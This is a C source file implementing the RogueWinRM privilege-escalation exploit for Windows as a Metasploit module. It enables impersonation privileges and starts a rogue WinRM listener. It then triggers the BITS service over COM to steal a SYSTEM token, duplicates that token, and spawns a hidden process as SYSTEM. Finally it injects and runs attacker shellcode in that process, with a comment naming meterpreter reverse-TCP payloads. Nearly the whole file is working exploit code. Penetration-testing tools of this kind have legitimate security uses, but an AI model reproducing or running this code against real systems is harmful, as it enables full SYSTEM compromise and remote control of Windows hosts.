534 lines
17 KiB
C
534 lines
17 KiB
C
#include "pch.h"
|
|
|
|
#define SUCCESS_PWNED 0 // Success exit status of RunRogueWinRM
|
|
#define ERROR_NOT_ENOUGH_PRIVILEGES 1
|
|
#define ERROR_WINRM_ALREADY_PRESENT 2
|
|
#define ERROR_BITS_RUNNING 3
|
|
#define ERROR_BITS_NOT_TRIGGERED 4
|
|
#define ERROR_NO_BITS_AUTH 5
|
|
#define ERROR_UNKNOWN 6
|
|
#define ERROR_VIRTUAL_ALLOC_FAILURE 7
|
|
#define ERROR_HEAP_ALLOC_FAILURE 8
|
|
#define ERROR_TOKEN_IS_NOT_SYSTEM 9
|
|
#define ERROR_FAILED_TO_GET_TOKEN 10
|
|
#define ERROR_NO_TOKEN_INFOS 11
|
|
#define ERROR_TOKEN_DUPLICATION_FAILURE 12
|
|
#define ERROR_SHELLCODE_REMOTE_COPY_FAILURE 13
|
|
#define ERROR_SHELLCODE_TRIGGER_FAILURE 14
|
|
#define ERROR_OTHER 15
|
|
|
|
#define SHELLCODE_BUFFER_SIZE 400000 // I use such a large buffer to allow the use of payload such as stageless meterpreter (windows/meterpreter_reverse_tcp)
|
|
#define WINDOWS_PATH_LENGTH_LIMITATION 260
|
|
|
|
|
|
|
|
/**
|
|
Main procedure called by main/dllmain. This function successively:
|
|
|
|
- Checks process privileges
|
|
- Starts a rogue WinRM server in a new thread
|
|
- Checks if BITS is running and trigger it if it is not
|
|
- Call a querySecurityContext to get a SYSTEM token from the Rogue WinRM
|
|
- Duplicate this token as a primary token
|
|
- Launch a new process as SYSTEM through the previously got token
|
|
- Copy the shellcode in the SYSTEM process and make it execute
|
|
|
|
|
|
@param char* shellcode Local address of the shellcode sent by metasploit and allocated in the heap.
|
|
|
|
@return int Error code. See #define constant in this file.
|
|
*/
|
|
int RunRogueWinRM(char* metasploit_raw_data)
|
|
{
|
|
char* winrm_port_address = NULL;
|
|
char* shellcode = NULL;
|
|
unsigned int shellcode_length = 0;
|
|
|
|
LocalNegotiator* negotiator = (LocalNegotiator*)calloc(1, sizeof(LocalNegotiator));
|
|
THREAD_PARAMETERS threads_params;
|
|
|
|
HANDLE hThread = NULL;
|
|
HANDLE hToken = NULL;
|
|
HANDLE elevated_token = NULL;
|
|
HANDLE duped_token = NULL;
|
|
BOOL bitsRunning = TRUE;
|
|
BOOL triggerBitsStatus = FALSE;
|
|
BOOL result = FALSE;
|
|
//const wchar_t processname[] = L"notepad.exe";
|
|
wchar_t processname[WINDOWS_PATH_LENGTH_LIMITATION] = { 0 };
|
|
int error_code = ERROR_OTHER;
|
|
|
|
PROCESS_INFORMATION pi;
|
|
STARTUPINFOW si;
|
|
createProcessMethod processMethod = UNAUTHORIZED;
|
|
|
|
if (!negotiator)
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: failed to allocate memory space for negotiator handling.");
|
|
return ERROR_HEAP_ALLOC_FAILURE;
|
|
}
|
|
|
|
extract_metasploit_data(metasploit_raw_data, &winrm_port_address, processname, &shellcode, &shellcode_length);
|
|
|
|
// Get a token for this process and check if current security context is vulnerable.
|
|
if ( !OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) )
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: failed to get a token for the current process.");
|
|
return ERROR_FAILED_TO_GET_TOKEN;
|
|
}
|
|
|
|
//enable privileges
|
|
processMethod = determineProcessLaunchingMethod(hToken);
|
|
if (processMethod == UNAUTHORIZED)
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: current process has neither SE_IMPERSONATE_NAME nor SE_ASSIGNPRIMARYTOKEN_NAME privileges. Unexploitable.");
|
|
return ERROR_NOT_ENOUGH_PRIVILEGES;
|
|
}
|
|
|
|
negotiator->construct = &Init;
|
|
negotiator->construct(negotiator);
|
|
|
|
threads_params.negotiator = negotiator;
|
|
threads_params.winrm_port = winrm_port_address;
|
|
|
|
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)handleListener, &threads_params, 0, NULL);
|
|
Sleep(1000);
|
|
|
|
do
|
|
{
|
|
bitsRunning = isBitsRunning();
|
|
if (bitsRunning)
|
|
Sleep(30000);
|
|
} while (bitsRunning);
|
|
|
|
triggerBitsStatus = triggerBits();
|
|
if (!triggerBitsStatus)
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: cannot activate BITS object. Exiting...");
|
|
return ERROR_BITS_NOT_TRIGGERED;
|
|
}
|
|
|
|
if (negotiator->authResult != -1)
|
|
{
|
|
dprintf("[RunRogueWinRM] authresult %d", negotiator->authResult);
|
|
|
|
QuerySecurityContextToken(negotiator->phContext, &elevated_token);
|
|
error_code = IsTokenSystem(elevated_token);
|
|
if (error_code != 0)
|
|
{
|
|
return error_code;
|
|
}
|
|
|
|
negotiator->destruct(negotiator);
|
|
negotiator = NULL;
|
|
|
|
error_code = DuplicateTokenEx
|
|
(
|
|
elevated_token,
|
|
TOKEN_ALL_ACCESS,
|
|
NULL,
|
|
SecurityImpersonation,
|
|
TokenPrimary,
|
|
&duped_token
|
|
);
|
|
if (error_code == 0)
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: failed to duplicate token: error code 0x%lx", GetLastError());
|
|
return ERROR_TOKEN_DUPLICATION_FAILURE;
|
|
}
|
|
|
|
ZeroMemory(&si, sizeof(STARTUPINFOW));
|
|
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
|
si.cb = sizeof(STARTUPINFOW);
|
|
si.lpDesktop = (LPWSTR)L"winsta0\\default";
|
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
|
si.wShowWindow = SW_HIDE;
|
|
|
|
if (processMethod == WITH_TOKEN)
|
|
{
|
|
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
|
|
dprintf("[RunRogueWinRM] Launching new process through CreateProcessWithTokenW().");
|
|
result = CreateProcessWithTokenW
|
|
(
|
|
duped_token,
|
|
0,
|
|
processname,
|
|
NULL,
|
|
0,
|
|
NULL,
|
|
NULL,
|
|
&si,
|
|
&pi
|
|
);
|
|
|
|
if (!result)
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: CreateProcessWithTokenW failed to create proc with return code: %d", GetLastError());
|
|
return ERROR_UNKNOWN;
|
|
}
|
|
}
|
|
else if (processMethod == AS_USER)
|
|
{
|
|
dprintf("[RunRogueWinRM] Launching process with CreateProcessAsUserW().");
|
|
result = CreateProcessAsUserW
|
|
(
|
|
duped_token,
|
|
processname,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
FALSE,
|
|
0,
|
|
NULL,
|
|
L"C:\\",
|
|
&si,
|
|
&pi
|
|
);
|
|
|
|
if (!result)
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: CreateProcessAsUser failed to create proc with return code: %d", GetLastError());
|
|
return ERROR_UNKNOWN;
|
|
}
|
|
}
|
|
dprintf("[RunRogueWinRM] SUCCESS: target process launched as SYSTEM.");
|
|
|
|
error_code = trigger_drunkpotato(shellcode, shellcode_length, pi);
|
|
return error_code;
|
|
}
|
|
else { dprintf("[RunRogueWinRM] ERROR: no authentication received... negotiator->authResult != -1"); }
|
|
|
|
CloseHandle(hThread);
|
|
return ERROR_NO_BITS_AUTH;
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
This function takes in input the raw data sent by metasploit and extract the shellcode
|
|
in one hand, and the WinRM port in the other hand. Indeed, WinRM usually listen on port
|
|
5985, but in some cases, it can listen on port 47001:
|
|
https://docs.microsoft.com/en-us/windows/win32/winrm/obtaining-data-from-the-local-computer
|
|
By convention, metasploit data is formatted as this:
|
|
|
|
port\x00process_name\x00shellcode_len\x00shellcode
|
|
|
|
Thus, nulls byte are prohibited.
|
|
|
|
|
|
@param char* metasploit_bulk_data The raw data sent by metasploit, formatted as this: port\x00process_name\x00shellcode_len\x00shellcode
|
|
@param char** winrm_port_address The WinRM port address. Should be either 5985 or 47001
|
|
@param wchar_t** process_name_as_wchar The name of the process to launch as SYSTEM. For instance notepad.exe
|
|
@param char** shellcode The (local) shellcode address
|
|
@param unsigned int* shellcode_length The (local) shellcode lenght
|
|
|
|
@return void
|
|
*/
|
|
static void extract_metasploit_data(char* metasploit_bulk_data, char** winrm_port_address, wchar_t* process_name_as_wchar, char** shellcode, unsigned int* shellcode_length)
|
|
{
|
|
char* shellcode_length_str = NULL;
|
|
char* process_name_as_char = NULL;
|
|
size_t converted_chars = 0;
|
|
|
|
*winrm_port_address = metasploit_bulk_data;
|
|
process_name_as_char = metasploit_bulk_data + strlen(metasploit_bulk_data) + 1; // +1 is for passing the intermediary null byte.
|
|
shellcode_length_str = process_name_as_char + strlen(process_name_as_char) + 1;
|
|
*shellcode = shellcode_length_str + strlen(shellcode_length_str) + 1;
|
|
|
|
*shellcode_length = atoi(shellcode_length_str);
|
|
mbstowcs_s(
|
|
&converted_chars,
|
|
process_name_as_wchar,
|
|
WINDOWS_PATH_LENGTH_LIMITATION,
|
|
process_name_as_char,
|
|
_TRUNCATE
|
|
);
|
|
|
|
dprintf("[extract_metasploit_data] WinRM port: %s", *winrm_port_address);
|
|
dprintf("[extract_metasploit_data] Process to launch: %s", process_name_as_char);
|
|
dprintf("[extract_metasploit_data] shellcode length: %d", *shellcode_length);
|
|
return;
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
This function take as parameter the shellcode address in current process and
|
|
a handle to a previously created SYSTEM process. This function does 3 things:
|
|
- allocate executable memory space in remote process (in which the shellcode will be written)
|
|
- copy the shellcode inside it
|
|
- trigger its execution
|
|
|
|
|
|
@param char* shellcode The (local) shellcode address
|
|
@param PROCESS_INFORMATION pi A handle to SYSTEM remote process
|
|
|
|
@return int The error code. SUCCESS_PWNED if succeed.
|
|
*/
|
|
static int trigger_drunkpotato(char* shellcode, unsigned int shellcode_len, PROCESS_INFORMATION pi)
|
|
{
|
|
LPVOID shellcode_remote_address = NULL;
|
|
SIZE_T lpnumber = 0;
|
|
|
|
|
|
dprintf("[RunRogueWinRM] Attempting to allocate executable memory space in spawned process...");
|
|
shellcode_remote_address = (int*)VirtualAllocEx(pi.hProcess, NULL, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
if (!shellcode_remote_address)
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: failed to allocate memory in remote process.");
|
|
TerminateProcess(pi.hProcess, 0);
|
|
WaitForSingleObject(pi.hProcess, 1000);
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
return ERROR_VIRTUAL_ALLOC_FAILURE;
|
|
}
|
|
dprintf("[RunRogueWinRM] SUCCESS: executable memory space successfully allocated.");
|
|
|
|
|
|
dprintf("[RunRogueWinRM] Attempting to write shellcode in spawned process...");
|
|
if (!WriteProcessMemory(pi.hProcess, shellcode_remote_address, shellcode, shellcode_len, &lpnumber))
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: failed to write shellcode into remote process.");
|
|
TerminateProcess(pi.hProcess, 0);
|
|
WaitForSingleObject(pi.hProcess, 1000);
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
return ERROR_SHELLCODE_REMOTE_COPY_FAILURE;
|
|
}
|
|
dprintf("[RunRogueWinRM] SUCCESS: shellcode written into SYSTEM process.");
|
|
|
|
|
|
dprintf("[RunRogueWinRM] Attempting to trigger shellcode from spawned process...");
|
|
if (!CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)shellcode_remote_address, NULL, 0, 0))
|
|
{
|
|
dprintf("[RunRogueWinRM] ERROR: failed to trigger shellcode from remote process.");
|
|
TerminateProcess(pi.hProcess, 0);
|
|
WaitForSingleObject(pi.hProcess, 1000);
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
return ERROR_SHELLCODE_TRIGGER_FAILURE;
|
|
}
|
|
dprintf("[RunRogueWinRM] PWNED ! executing shellcode as SYSTEM.");
|
|
return SUCCESS_PWNED;
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
This function checks the privileges of the token passed as argument in order to determine
|
|
if the host process will be launched with CreateProcessWithTokenW (requires SE_IMPERSONATE_NAME priv)
|
|
or with CreateProcessAsUserW (requires SE_ASSIGNPRIMARYTOKEN_NAME priv).
|
|
|
|
|
|
@param HANDLE hToken A handle to a token (Trivial)
|
|
|
|
@return createProcessMethod An enumeration (WITH_TOKEN, AS_USER, UNAUTHORIZED)
|
|
*/
|
|
static createProcessMethod determineProcessLaunchingMethod(HANDLE hToken)
|
|
{
|
|
dprintf("[createProcessMethod] Attempting to enable SE_IMPERSONATE_NAME privilege...");
|
|
if (EnablePriv(hToken, SE_IMPERSONATE_NAME)) { return WITH_TOKEN; }
|
|
dprintf("[createProcessMethod] Attempting to enable SE_ASSIGNPRIMARYTOKEN_NAME privilege...");
|
|
if (EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME)) { return AS_USER; }
|
|
dprintf("[createProcessMethod] ERROR: current user has neither SE_IMPERSONATE_NAME nor SE_ASSIGNPRIMARYTOKEN_NAME privilege. Not vulnerable.");
|
|
return UNAUTHORIZED;
|
|
}
|
|
|
|
|
|
|
|
/**
|
|
Get the token (argument) and try to enable the specified privilege (argument) for that token.
|
|
|
|
|
|
@param HANDLE hToken A handle to a token
|
|
@param LPCTSTR priv A pointer to a string containing the specified privilege
|
|
(for instance SE_IMPERSONATE_NAME)
|
|
|
|
@return BOOL TRUE if the privilege has been enabled, else FALSE
|
|
*/
|
|
static BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
|
|
{
|
|
LUID luid;
|
|
TOKEN_PRIVILEGES tp;
|
|
|
|
if (!LookupPrivilegeValue(NULL, priv, &luid))
|
|
{
|
|
dprintf("[EnablePriv] ERROR: Priv Lookup FALSE");
|
|
return FALSE;
|
|
}
|
|
|
|
tp.PrivilegeCount = 1;
|
|
tp.Privileges[0].Luid = luid;
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
|
|
if (!AdjustTokenPrivileges(
|
|
hToken,
|
|
FALSE,
|
|
&tp,
|
|
sizeof(TOKEN_PRIVILEGES),
|
|
(PTOKEN_PRIVILEGES)NULL,
|
|
(PDWORD)NULL))
|
|
{
|
|
dprintf("[EnablePriv] ERROR: Priv Adjust FALSE");
|
|
return FALSE;
|
|
}
|
|
|
|
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
|
{
|
|
dprintf("[EnablePriv] ERROR: The token does not have the specified privilege. This mean that current user doesn't have sufficient privileges for exploitation.");
|
|
return FALSE;
|
|
}
|
|
|
|
dprintf("[EnablePriv] SUCCESS: Privilege enabled.");
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
Check if the specified token is a SYSTEM token.
|
|
Source of this function:
|
|
https://stackoverflow.com/questions/47252634/failed-to-check-against-nt-authority-system-sid
|
|
|
|
|
|
@param HANDLE tok A handle to a token
|
|
|
|
@return int An error code. 0 for success (i.e. if tok belongs to SYSTEM)
|
|
*/
|
|
static int IsTokenSystem(HANDLE tok)
|
|
{
|
|
int error_code = ERROR_OTHER;
|
|
TOKEN_USER* token_user_address = NULL;
|
|
DWORD dwOut = 0;
|
|
PSID sid_address = NULL;
|
|
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
|
|
|
dprintf("[IsTokenSystem] Checking if token is SYSTEM...");
|
|
GetTokenInformation(tok, TokenUser, 0, 0, &dwOut);
|
|
error_code = HRESULT_FROM_WIN32(GetLastError());
|
|
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
|
|
token_user_address = (TOKEN_USER*)calloc(dwOut, sizeof(TOKEN_USER)), error_code = E_OUTOFMEMORY;
|
|
|
|
if (!token_user_address) { return ERROR_HEAP_ALLOC_FAILURE; }
|
|
|
|
if (GetTokenInformation(tok, TokenUser, token_user_address, dwOut, &dwOut))
|
|
{
|
|
if (AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &sid_address))
|
|
{
|
|
error_code = EqualSid(sid_address, token_user_address->User.Sid) ? S_OK : ERROR_TOKEN_IS_NOT_SYSTEM;
|
|
FreeSid(sid_address);
|
|
}
|
|
else
|
|
error_code = HRESULT_FROM_WIN32(GetLastError());
|
|
}
|
|
else
|
|
error_code = HRESULT_FROM_WIN32(GetLastError());
|
|
|
|
free(token_user_address);
|
|
token_user_address = NULL;
|
|
|
|
if (error_code == S_OK) { dprintf("[IsTokenSystem] SUCCESS: Token is SYSTEM."); }
|
|
else { dprintf("[IsTokenSystem] ERROR: Token is not SYSTEM. Error code = %d", error_code); }
|
|
|
|
return error_code;
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
Checks if BITS is running through OpenSCManager. This is a prerequisite as
|
|
the vulnerable behavior occurs at BITS start time. So it is mandatory to
|
|
check if BITS is stopped in order to start it.
|
|
|
|
@return BOOL FALSE if BITS is not running or if an error occurs.
|
|
*/
|
|
static BOOL isBitsRunning()
|
|
{
|
|
SERVICE_STATUS ServiceStatus;
|
|
SC_HANDLE hService = NULL;
|
|
SC_HANDLE hSCManager = NULL;
|
|
BOOL result = FALSE;
|
|
int status = -1;
|
|
|
|
dprintf("[isBitsRunning] Checking if BITS is running (It should not)...");
|
|
|
|
|
|
hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SERVICE_QUERY_STATUS);
|
|
if (hSCManager == NULL)
|
|
{
|
|
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... OpenSCManagerA error: %d", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
hService = OpenServiceA(hSCManager, (LPCSTR)"BITS", SERVICE_QUERY_STATUS);
|
|
if (hService == NULL)
|
|
{
|
|
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... OpenServiceA error: %d", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
status = QueryServiceStatus(hService, &ServiceStatus);
|
|
if (status == 0)
|
|
{
|
|
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... QueryServiceStatus error: %d", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
if (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
|
|
{
|
|
result = TRUE;
|
|
dprintf("[isBitsRunning] BITS is running... Waiting 30 seconds for Timeout (usually 120 seconds for timeout)...");
|
|
}
|
|
else
|
|
result = FALSE;
|
|
|
|
dprintf("[isBitsRunning] SUCCESS: BITS is not running.");
|
|
return result;
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
Start BITS service, and thus trigger the vulnerable behavior.
|
|
See https://www.codeproject.com/Articles/13601/COM-in-plain-C
|
|
for understanding how to understand how COM objects are implemented in pure C
|
|
|
|
@return BOOL TRUE if BITS was successfully started. FALSE is an error occurs.
|
|
*/
|
|
static BOOL triggerBits(void)
|
|
{
|
|
const wchar_t bits_GUID[] = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
|
|
const IID* IID_IUnknown_address = &IID_IUnknown;
|
|
BOOL status = FALSE;
|
|
HRESULT result = E_FAIL;
|
|
IUnknown* unknown1 = NULL;
|
|
CLSID clsid;
|
|
|
|
dprintf("[triggerBits] Attempting to start BITS...");
|
|
result = CoInitialize(NULL);
|
|
result = CLSIDFromString(bits_GUID, &clsid);
|
|
result = CoCreateInstance(&clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown_address, (void**)&unknown1);
|
|
|
|
if (result == S_OK)
|
|
{
|
|
status = TRUE;
|
|
unknown1->lpVtbl->Release(unknown1);
|
|
}
|
|
else
|
|
{
|
|
dprintf("[triggerBits] ERROR: CoCreateInstance failed with error 0x%x\n", result);
|
|
status = FALSE;
|
|
}
|
|
|
|
CoUninitialize();
|
|
|
|
dprintf("[triggerBits] SUCCESS: BITS triggered!");
|
|
return status;
|
|
}
|